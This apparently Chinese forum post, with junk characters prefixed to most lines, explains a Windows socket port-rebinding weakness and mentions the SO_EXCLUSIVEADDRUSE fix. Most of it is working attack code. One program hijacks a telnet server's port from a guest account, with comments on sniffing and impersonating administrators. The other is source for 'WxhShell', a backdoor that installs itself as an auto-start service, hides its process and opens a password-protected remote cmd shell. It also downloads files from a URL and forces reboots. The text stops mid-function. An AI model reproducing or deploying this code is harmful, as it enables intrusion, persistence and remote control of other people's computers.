在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ATkx_1]KM- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%"=qdBuk ?>T ( saddr.sin_family = AF_INET;
17) `CM$<[ P0O=veCf saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9^2l<4^Z ]MaD7q>+R bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/=+Bc=<lZ ~0T,_N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$(N+E,XB wdLlQD 这意味着什么?意味着可以进行如下的攻击:
+WfO2V. <-s5
;xwtS 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%O02xr= 8i Xt8XY3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
$e/[!3CASP GI[XcK^*w 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
6$x9@x8 aC,?FWm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
cM;,n X %/ CMviR<. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Jknit bc%N !d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
p#+Da\qmx 2/f!{lz ]( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HE.YfD) 5"^Z7+6 #include
z8*{i]j #include
4u+4LB* #include
uK5 C- #include
E0_S+`o2y DWORD WINAPI ClientThread(LPVOID lpParam);
!UF(R^ int main()
mb#&yK(h {
*jrQ-'<T WORD wVersionRequested;
bTJ l DWORD ret;
3.@I\p} WSADATA wsaData;
:Lh`Q"a BOOL val;
]~t4E'y)z SOCKADDR_IN saddr;
nf)y_5y SOCKADDR_IN scaddr;
p$!Q?&AV/ int err;
P> [,,w SOCKET s;
RDsBO4RG SOCKET sc;
HWOOw&^< int caddsize;
9Pjw<xt HANDLE mt;
|N%#;7 DWORD tid;
1qN+AT wVersionRequested = MAKEWORD( 2, 2 );
W_Eur,/` err = WSAStartup( wVersionRequested, &wsaData );
Fh
U* mAX) if ( err != 0 ) {
u[+/WFH printf("error!WSAStartup failed!\n");
h-6zQs return -1;
]^BgSC }
&N|`Q(QXS saddr.sin_family = AF_INET;
{"n=t`E)3 +A%"_7L} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
x)OJ?l 3Sl2c saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
O]%Vh
l saddr.sin_port = htons(23);
j5~nLo2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
apw/nhQ.[ {
|]+PDc% printf("error!socket failed!\n");
\Rz-*zr& return -1;
y6`zdB }
\+VQoB/ val = TRUE;
# "KaRh //SO_REUSEADDR选项就是可以实现端口重绑定的
`Yw:<w\4C
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
KreF\M%Ke {
1 TA\6a} printf("error!setsockopt failed!\n");
1`v$R0`! return -1;
fYUbr"Oe }
Io\tZXB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-H9WwFk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
u7}C):@H //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]m@p? A$
LR Dj!{k{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'
i<}/l {
qJq!0F ret=GetLastError();
!bQqzny$R printf("error!bind failed!\n");
"
'TEBkj|u return -1;
rUWC=?Q }
'-NHu + listen(s,2);
(MnK
\^Y while(1)
qfa[KD)!aB {
o7 1f<&1 caddsize = sizeof(scaddr);
M TOZ:b //接受连接请求
H`EsFKw\% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
hYY-Eq4TC if(sc!=INVALID_SOCKET)
U8GvUysB! {
6):iu=/i/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
gSt'<v if(mt==NULL)
= @n `5g {
1,Ji|&Pwf printf("Thread Creat Failed!\n");
.j^=]3 break;
E%vT(Kz }
gQ=l\/H }
`~+[pY1r CloseHandle(mt);
w
.+B h }
|jJ9dTD8/ closesocket(s);
r"W,G/;h WSACleanup();
aa,^+^J return 0;
dO|n[/qL0 }
>v1ajI>O&{ DWORD WINAPI ClientThread(LPVOID lpParam)
idSc#n22 {
;`:A(yN]T SOCKET ss = (SOCKET)lpParam;
t:yJ~En]= SOCKET sc;
tq&CJvJ4 unsigned char buf[4096];
Zg/
],/ ` SOCKADDR_IN saddr;
z%44@TP long num;
Dio9'&DtC DWORD val;
$0P7^4)w: DWORD ret;
cByUP#hW //如果是隐藏端口应用的话,可以在此处加一些判断
|7@@~|A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
PpWdZ saddr.sin_family = AF_INET;
[28Vf"#] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
i f ! saddr.sin_port = htons(23);
x{I,
gu|+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ZZJ<JdD {
.kZ<Q]Vk printf("error!socket failed!\n");
-PLh| return -1;
I6RF;m:Jw }
tde&w=ec val = 100;
F%`O$uXA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
PIZK*Lop {
KAR **M p+ ret = GetLastError();
<jIuVX return -1;
{^_K
}
A? T25<} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B> V)6\ {
w*krPaT3 ret = GetLastError();
N`rz>6,k1 return -1;
6<{XwmM }
$i"IOp if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
h}yfL@ {
#kRt\Fzq printf("error!socket connect failed!\n");
7O\ Qxc\ closesocket(sc);
F@rx/3
[ closesocket(ss);
QM4O|x[
return -1;
lOu&4Kq{g }
[VY265)g while(1)
!1[ZfTX^a {
U}^`R,C //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
EKf! j3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
$3yn-'o'A //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
GyLp&aa num = recv(ss,buf,4096,0);
cs7K^D;.V if(num>0)
G}#p4\/ send(sc,buf,num,0);
:[!b";pR else if(num==0)
pv@w 8* break;
k4`(7Z num = recv(sc,buf,4096,0);
@ *n oma if(num>0)
a&%v ^r[ send(ss,buf,num,0);
/f]'_t0\. else if(num==0)
KkyZd9 break;
'QQa :3<x }
W WN2 closesocket(ss);
$64sf?aZ># closesocket(sc);
}Wz[ox 9b return 0 ;
=H/ 5 }
@Jc^ur UIK4]cYC' iPdR;O' ==========================================================
Z:.*fs5 Bnh*;J0 下边附上一个代码,,WXhSHELL
]!v\whZ> &2,^CG ==========================================================
Hd?#^X `[F[0fY- #include "stdafx.h"
QR{>]I ,| ~Pa #include <stdio.h>
:YM1p&|fS #include <string.h>
"P8(R #include <windows.h>
OTD<3Q
q #include <winsock2.h>
#y*p7~|@ #include <winsvc.h>
5m9;'SF #include <urlmon.h>
3h**y
%^ KhZ\q|5 #pragma comment (lib, "Ws2_32.lib")
YWhp 4`m #pragma comment (lib, "urlmon.lib")
'Oa(]Br[ I;+>@Cn(g< #define MAX_USER 100 // 最大客户端连接数
*s$:"g- #define BUF_SOCK 200 // sock buffer
?9ScKN #define KEY_BUFF 255 // 输入 buffer
D),hSqJ" tLzKM+Ct# #define REBOOT 0 // 重启
A0 $ds #define SHUTDOWN 1 // 关机
b{a\j% >8%O;3-m# #define DEF_PORT 5000 // 监听端口
_l=X?/ Uu~~-5 #define REG_LEN 16 // 注册表键长度
OpLUmn #define SVC_LEN 80 // NT服务名长度
Aga{EKd h=ben&m // 从dll定义API
9"f typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
gzEcdDD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~=gpn|@b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g96]>]A<{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
F&$~]R=& /TY=ig1z // wxhshell配置信息
~qkn1N%' struct WSCFG {
DvY)n<U1qA int ws_port; // 监听端口
hGbSN_F char ws_passstr[REG_LEN]; // 口令
G!E1N(%o int ws_autoins; // 安装标记, 1=yes 0=no
,$bK)|pGV char ws_regname[REG_LEN]; // 注册表键名
u+qj_Ej char ws_svcname[REG_LEN]; // 服务名
A9o"L.o) char ws_svcdisp[SVC_LEN]; // 服务显示名
ub]"b[j\1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
5v"S v char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2 sK\.yS int ws_downexe; // 下载执行标记, 1=yes 0=no
<8BNqbX char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%:yVjb,Yf char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Vu;z|L gfQ1p ? };
X{8g2](z. Pa-{bhllu) // default Wxhshell configuration
jO}<W 1qy struct WSCFG wscfg={DEF_PORT,
A 1B_EX. "xuhuanlingzhe",
!xE@r,'oN 1,
`c? 8i "Wxhshell",
5Yr$tl\k "Wxhshell",
bFsJqA.A "WxhShell Service",
}xpo@(e "Wrsky Windows CmdShell Service",
Ti$_V_ "Please Input Your Password: ",
XvI Y=~ 1,
<`d;>r=4z "
http://www.wrsky.com/wxhshell.exe",
?JMy "Wxhshell.exe"
*Ke\Yb };
lK3{~\J- @6%o0p9zz // 消息定义模块
M?QX'fia char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
O6n]l char *msg_ws_prompt="\n\r? for help\n\r#>";
`u$lSGl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hE;BT>_dn char *msg_ws_ext="\n\rExit.";
G-5ezVli char *msg_ws_end="\n\rQuit.";
3 uJ?; char *msg_ws_boot="\n\rReboot...";
6"/4@? char *msg_ws_poff="\n\rShutdown...";
4ZtsLMwLD char *msg_ws_down="\n\rSave to ";
Ao$|`Lgj=z (w-@b70E char *msg_ws_err="\n\rErr!";
[ps5 char *msg_ws_ok="\n\rOK!";
?wREX[Tqs o ^""=Z char ExeFile[MAX_PATH];
30{WGc@l# int nUser = 0;
]K|td)1X HANDLE handles[MAX_USER];
-`,Fe3 int OsIsNt;
OPC8fX5. xM**n3SZ` SERVICE_STATUS serviceStatus;
gmN$}Gy} SERVICE_STATUS_HANDLE hServiceStatusHandle;
liPaT +^ `n- m // 函数声明
JzmX~|=Xi int Install(void);
;&$f~P Q int Uninstall(void);
3`Gb;D int DownloadFile(char *sURL, SOCKET wsh);
gbziEjRe int Boot(int flag);
=h|xlT void HideProc(void);
jbp?6GW int GetOsVer(void);
gm=LM= int Wxhshell(SOCKET wsl);
bVOJp% *s void TalkWithClient(void *cs);
|f2bb int CmdShell(SOCKET sock);
LL+PAvMg int StartFromService(void);
U\i7'9w]3 int StartWxhshell(LPSTR lpCmdLine);
70.Tm#qh Ch73=V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|jb,sd[=S VOID WINAPI NTServiceHandler( DWORD fdwControl );
,M=s3D8C ^wz 2e // 数据结构和表定义
2k!4oVUN SERVICE_TABLE_ENTRY DispatchTable[] =
*+_+ZDU {
C sCH :> {wscfg.ws_svcname, NTServiceMain},
mb*|$ysPx {NULL, NULL}
L u1pxL };
F~?|d0
Z31a4O // 自我安装
Fil6;R int Install(void)
nhRpb9f`1@ {
U&0 RQ:B char svExeFile[MAX_PATH];
*vOk21z77d HKEY key;
Fhga^.5U& strcpy(svExeFile,ExeFile);
ei(S&u< i JS7g // 如果是win9x系统,修改注册表设为自启动
^xQPj6P} if(!OsIsNt) {
y#i` i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
SLda>I(p7& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Nf%/)Tk RegCloseKey(key);
Xo3@-D_c!c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&/(JIWc1su RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
e*M-y C RegCloseKey(key);
,O_iSohS return 0;
aUq2$lw1 }
Dq+S'x~> }
5em*9Ko }
j7~Rw"(XQc else {
e?+&2zMq ~W-5-Nl{s // 如果是NT以上系统,安装为系统服务
5
Q/yPQN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%Ot*k%F if (schSCManager!=0)
+h8`8k'}-2 {
!Y10UmMu SC_HANDLE schService = CreateService
]Rj?OSok (
.yB{+ schSCManager,
RcOfesW
o wscfg.ws_svcname,
C(kL=WD wscfg.ws_svcdisp,
EkoT U#w5 SERVICE_ALL_ACCESS,
?X$*8;==6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[F
24xC+ SERVICE_AUTO_START,
g0#w
4rGF) SERVICE_ERROR_NORMAL,
i?f;C_w svExeFile,
MH|R @g NULL,
*
'Bu-1{ NULL,
N1hj[G[H" NULL,
=k5O*ql" NULL,
lYS*{i1^ ' NULL
yw >Frb5p );
Ho1 V)T> if (schService!=0)
_pxurq{ {
l OiZ2_2 CloseServiceHandle(schService);
r?/!VO-*N CloseServiceHandle(schSCManager);
KBa0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/rHlFl|Wy strcat(svExeFile,wscfg.ws_svcname);
!\!j?z=O8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
EAlLxXDDh RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
XrI$@e* RegCloseKey(key);
~~q>]4> return 0;
38GZ_z}r }
WZ=$c]gG }
._q<~_~R CloseServiceHandle(schSCManager);
0cq<!{d }
&r2\P6J }
ZE9.r` yB|1?L# return 1;
-t: U4r( }
"[0.a\ d< q@1xYz:J // 自我卸载
<GLn!~Px@5 int Uninstall(void)
.-)kIFMi {
AWd,qldv HKEY key;
nO#x" nPk&/H%5hn if(!OsIsNt) {
+'wO:E1( w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`><E J'h RegDeleteValue(key,wscfg.ws_regname);
AWi+xo| RegCloseKey(key);
Kl<NAv%j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)KOIf{ RegDeleteValue(key,wscfg.ws_regname);
@hy~H?XN RegCloseKey(key);
nd&i9 l return 0;
hD{
`j }
Nh\o39= }
&@=W+A=c~ }
Hwcm t!y else {
Dt(xj}[tC M 0$E_* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
je%D&ci$ if (schSCManager!=0)
b@O{e QB {
)y{:Uc\4! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
tG~[E,/` if (schService!=0)
r1 b"ta {
6[?5hmc"w if(DeleteService(schService)!=0) {
{C0Y8:"` CloseServiceHandle(schService);
[&kz4_ CloseServiceHandle(schSCManager);
d4p6.3 return 0;
';v1AX}5q }
}}Z2@} CloseServiceHandle(schService);
]^,! ;do }
"C?H:8W CloseServiceHandle(schSCManager);
@9R78Zra }
[s{[
.0P]+ }
'V&Tlw| d{"@<0i? return 1;
'_5|9
} }
RT${7= ~/XDA:nfL: // 从指定url下载文件
XlnSh<e int DownloadFile(char *sURL, SOCKET wsh)
]B$J8.{q0 {
a ," HRESULT hr;
RhC|x,E char seps[]= "/";
`3`.usw char *token;
8H|ac[hXK2 char *file;
`YqXF=- char myURL[MAX_PATH];
F)v char myFILE[MAX_PATH];
.R
l7,1\ Pm,.[5uc strcpy(myURL,sURL);
x2'pl
(^ token=strtok(myURL,seps);
4-I7"pW5 while(token!=NULL)
pC #LQ {
7O:g;UI# file=token;
N,l"9>CF token=strtok(NULL,seps);
SlwQ_F"4L }
JW)f'r_f /nn~&OU GetCurrentDirectory(MAX_PATH,myFILE);
Y6Ux*vhK strcat(myFILE, "\\");
Cy)N hgz strcat(myFILE, file);
i<):%[Q)> send(wsh,myFILE,strlen(myFILE),0);
9Q!Z9n"8~) send(wsh,"...",3,0);
Ay PtbrO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@DF7j|]tV if(hr==S_OK)
vn!3Z! dm( return 0;
jw`05rw: else
sG)aw`_j return 1;
jOzi89 tY:
Nq*@
}
zWH)\>X59 x,zYNNx5g // 系统电源模块
@b,6W
wc int Boot(int flag)
lQBEq"7$ {
7?{y&sf HANDLE hToken;
@$'pMg TOKEN_PRIVILEGES tkp;
J_;*@mW MTKNIv| if(OsIsNt) {
k>7bPR5Mw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Js vdC]+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
lcy<taNu) tkp.PrivilegeCount = 1;
j9l32<h7] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
3
^K#\*P AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Ga-cto1Y if(flag==REBOOT) {
cpALs1j: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ch25A<O<R. return 0;
#9Ect@?N0 }
V1pBKr)v else {
.g1x$cQ1< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LAH">E return 0;
SOn)'!g }
Ie|5,qw
E }
d4*SfzB else {
L#uU.U= if(flag==REBOOT) {
kkWv#,qwU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
x^1d9Z return 0;
g6;smtu_T }
O5Z9`_9< else {
OM{^F=Ap if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
n:2._s T return 0;
[0aC]XQZ }
"|[9 Q? }
P/.<sr=2 5bAdF'~ return 1;
&$
"J\vm }
^X}r ^ ^L)TfI_n // win9x进程隐藏模块
T&+3Xi: void HideProc(void)
6@t& {
2QM{e!9 FO%pdLs, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
s\pukpf@ if ( hKernel != NULL )
p6K ~b {
?|+e*{4k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
K@{0]6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
$#p5BQQ| FreeLibrary(hKernel);
6<$.Z-, }
oBo*<6
{it}\[3 return;
tx~,7TMS/ }
~!qnKM>[ NjpWK;L // 获取操作系统版本
u[Kz^ga< int GetOsVer(void)
vdC0tax {
[l3\0e6-/ OSVERSIONINFO winfo;
F8"J<VJ7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;?tH8jf> GetVersionEx(&winfo);
K) fKL
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@j_o CDS return 1;
h7^&: else
U|V,&RlbR return 0;
l`ZL^uT }
?d^6ynzn Nr~!5XO // 客户端句柄模块
Wc2&3p9 c int Wxhshell(SOCKET wsl)
BDvkY {
,]7ouH$H} SOCKET wsh;
wbrOL(q.m struct sockaddr_in client;
(
_6j@?u DWORD myID;
GDSXBa*7 +pwTM]bV while(nUser<MAX_USER)
"nCK%w= {
5WJ ~%"O int nSize=sizeof(client);
ndzADVP wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
G)%V 3h if(wsh==INVALID_SOCKET) return 1;
Um{) ?1 3qf#NJN} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
I9qFXvqL if(handles[nUser]==0)
-^2p@^ closesocket(wsh);
b4-gNF]Yt else
gac31,gH nUser++;
+]A,fmI. }
uX3yq<lK" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
vJ}WNvncVF qnboXGaFu return 0;
; F'IS/ttX }
gv>DOez/ jVd`J // 关闭 socket
"Gp Tmu? void CloseIt(SOCKET wsh)
w01[oU$x= {
z+7V}aPM closesocket(wsh);
`gx\m=xG nUser--;
$q:l \ ExitThread(0);
*3`R W<Z }
H'zAMGZa #p>&|I // 客户端请求句柄
K~,!IU_QG void TalkWithClient(void *cs)
iYgVSVNg {
.1RQ}Ro,< q"<=^vi SOCKET wsh=(SOCKET)cs;
Ja:4EU$Lu char pwd[SVC_LEN];
QUn!&55 char cmd[KEY_BUFF];
6E-eD\?I& char chr[1];
m;l[flQ~ int i,j;
+;lDU}$ A{T9-f@X while (nUser < MAX_USER) {
<b,WxR` 2PyuM=(Wt if(wscfg.ws_passstr) {
s_/@`kd{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v77UE"4|c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f?tU5EX //ZeroMemory(pwd,KEY_BUFF);
Rf8Obk< i=0;
`WOoC while(i<SVC_LEN) {
ftTD-d jn|NrvrX // 设置超时
GqL&hbpi fd_set FdRead;
5@%Gq)z5 struct timeval TimeOut;
\ YF@r7 FD_ZERO(&FdRead);
4;J.$ FD_SET(wsh,&FdRead);
1[O cZCS TimeOut.tv_sec=8;
DZ2gnRg TimeOut.tv_usec=0;
5X)QW5A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
~Ze!F" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
IF6$@Q 8|)!E`TKSV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
g$Y]{VM.J pwd
=chr[0]; :?zq!
if(chr[0]==0xd || chr[0]==0xa) { G{fPQ=
pwd=0; ]vz6DJs
break; 8%m\J:eR
} H"? 5]!p
i++; #;a+)~3*O
} hzr,
%r
_]o7iqtv
// 如果是非法用户,关闭 socket #~-Xt!I
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f|B\Y/*X
} Xydx87L/-e
/!5ohQlPJ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i*N2@Z[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lm=EN%*#9
]^>Inh!
while(1) { {U_ ,y(V
7QTS@o-
ZeroMemory(cmd,KEY_BUFF); \-]Jm[]^
GBb8}lx
// 自动支持客户端 telnet标准 I\6C0x
j=0; %/w-.?bX
while(j<KEY_BUFF) { w:%NEa,Z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WuY#Kx~2
cmd[j]=chr[0]; O713'i
if(chr[0]==0xa || chr[0]==0xd) { ,jC~U s<
cmd[j]=0; )uHat#
break; [>?|wQy >=
} 4z5qXI/<m4
j++; rhPv{6Z|7
} & n@hD7=(
9)vU/fJ|
// 下载文件 jc_k\
if(strstr(cmd,"http://")) { /r'Fq
=z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >$rH,Er
if(DownloadFile(cmd,wsh)) }w35fG^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P?>:YY53
else yOlVS@7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Ud"+a
} PU.j(0
else { &2 Yo
n^;-&
switch(cmd[0]) { jbS@6 *_
h/\Zq
// 帮助 OXM=@B<"
case '?': { S;Sy.Lp
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lH_pG ~
break; ;q9Y%*
} {=
&&J@:
// 安装 -FZNk}
case 'i': { `Z>=5:+G@2
if(Install()) F%y#)53g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :*
|WE29U
else =3'B$PY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1N $OXLu
break; 8v4krz<Iq
} igTs[q=Ak
// 卸载 ^E\4`
case 'r': { Gq1C"s$4'
if(Uninstall()) <ndY6n3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J#wf`VR%
else 9s5s;ntz"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ck
`td%
break; YR\(*LJL
} [AFR \{
// 显示 wxhshell 所在路径 Xmmj.ZUr
case 'p': { x4kQG e(
char svExeFile[MAX_PATH]; ]lGkZyUhI
strcpy(svExeFile,"\n\r"); zwQ#Yvd
strcat(svExeFile,ExeFile); <Af&Q0J
send(wsh,svExeFile,strlen(svExeFile),0); X=?9-z]
QO
break; ~P}ng{x4z
} cy6YajOk7
// 重启 9
AD*
case 'b': { Da[#X`Kp$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y]6dYq{k
if(Boot(REBOOT)) cCiDe`T\F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t3.;qDy
else { \25EI]
closesocket(wsh); :&&s*_
ExitThread(0); 5,4" CF$
} GBS+ 4xL|
break; 7R5ebMW
V
} *\:sHVyG(
// 关机 a6h+?Q7uF
case 'd': { `j'1V1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a6:hH@,
if(Boot(SHUTDOWN)) T-4dD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3jfAv@I ~
else { wU'+4N".
closesocket(wsh); J=kf KQV
ExitThread(0); fA1{-JzV<4
} VPO~veQ
break; PQ_A^ 95
} M7Xn=jc
// 获取shell be-HF;lZe'
case 's': { @`B_Q v@
CmdShell(wsh); S/eplz;
closesocket(wsh); -0`n(`2
ExitThread(0); er
BerbEEH
break; { **W7\h
} *@@dO_%6
// 退出 "-:g.x*d
case 'x': { j)ln"u0R^B
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "tJ[M
CloseIt(wsh); vY4}vHH2
break; WyB^b-QmDh
} 73u97oe>1
// 离开 mcQ
A'
case 'q': { pR2U&OA
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jc]k\U
closesocket(wsh); SCn)j:gH;
WSACleanup(); NuF?:L[
exit(1); 7nxH>.,Q>
break; -e"kJd&V
} p/LV^TQ
} GHi'ek <?^
} @+Nf@LJ
fY=:geB
// 提示信息 hc]p^/H
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T_wh)B4xW
} #Ddo` >`&
} /Trbr]lWy
7&jq =
return; 3 TV4|&W;
} D\J.6W
x<w-j[{k_K
// shell模块句柄 6e.l#
c!1}
int CmdShell(SOCKET sock) 7z\#"~(.
{ h{\S '8
STARTUPINFO si; hfc~HKLC
ZeroMemory(&si,sizeof(si)); =?]S8cth
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ][//G|9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hH05p!2
PROCESS_INFORMATION ProcessInfo; XCyb[(4
char cmdline[]="cmd"; m#_M"B.cm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L"c.15\
return 0; e^;:iJS
} E}0g
1jBIi
// 自身启动模式 Xyz/CZPi
int StartFromService(void) Zv
mkb%8
{ ;5T}@4m|r
typedef struct yP` K [/
{ rkdA4'66w
DWORD ExitStatus; M djxTr^
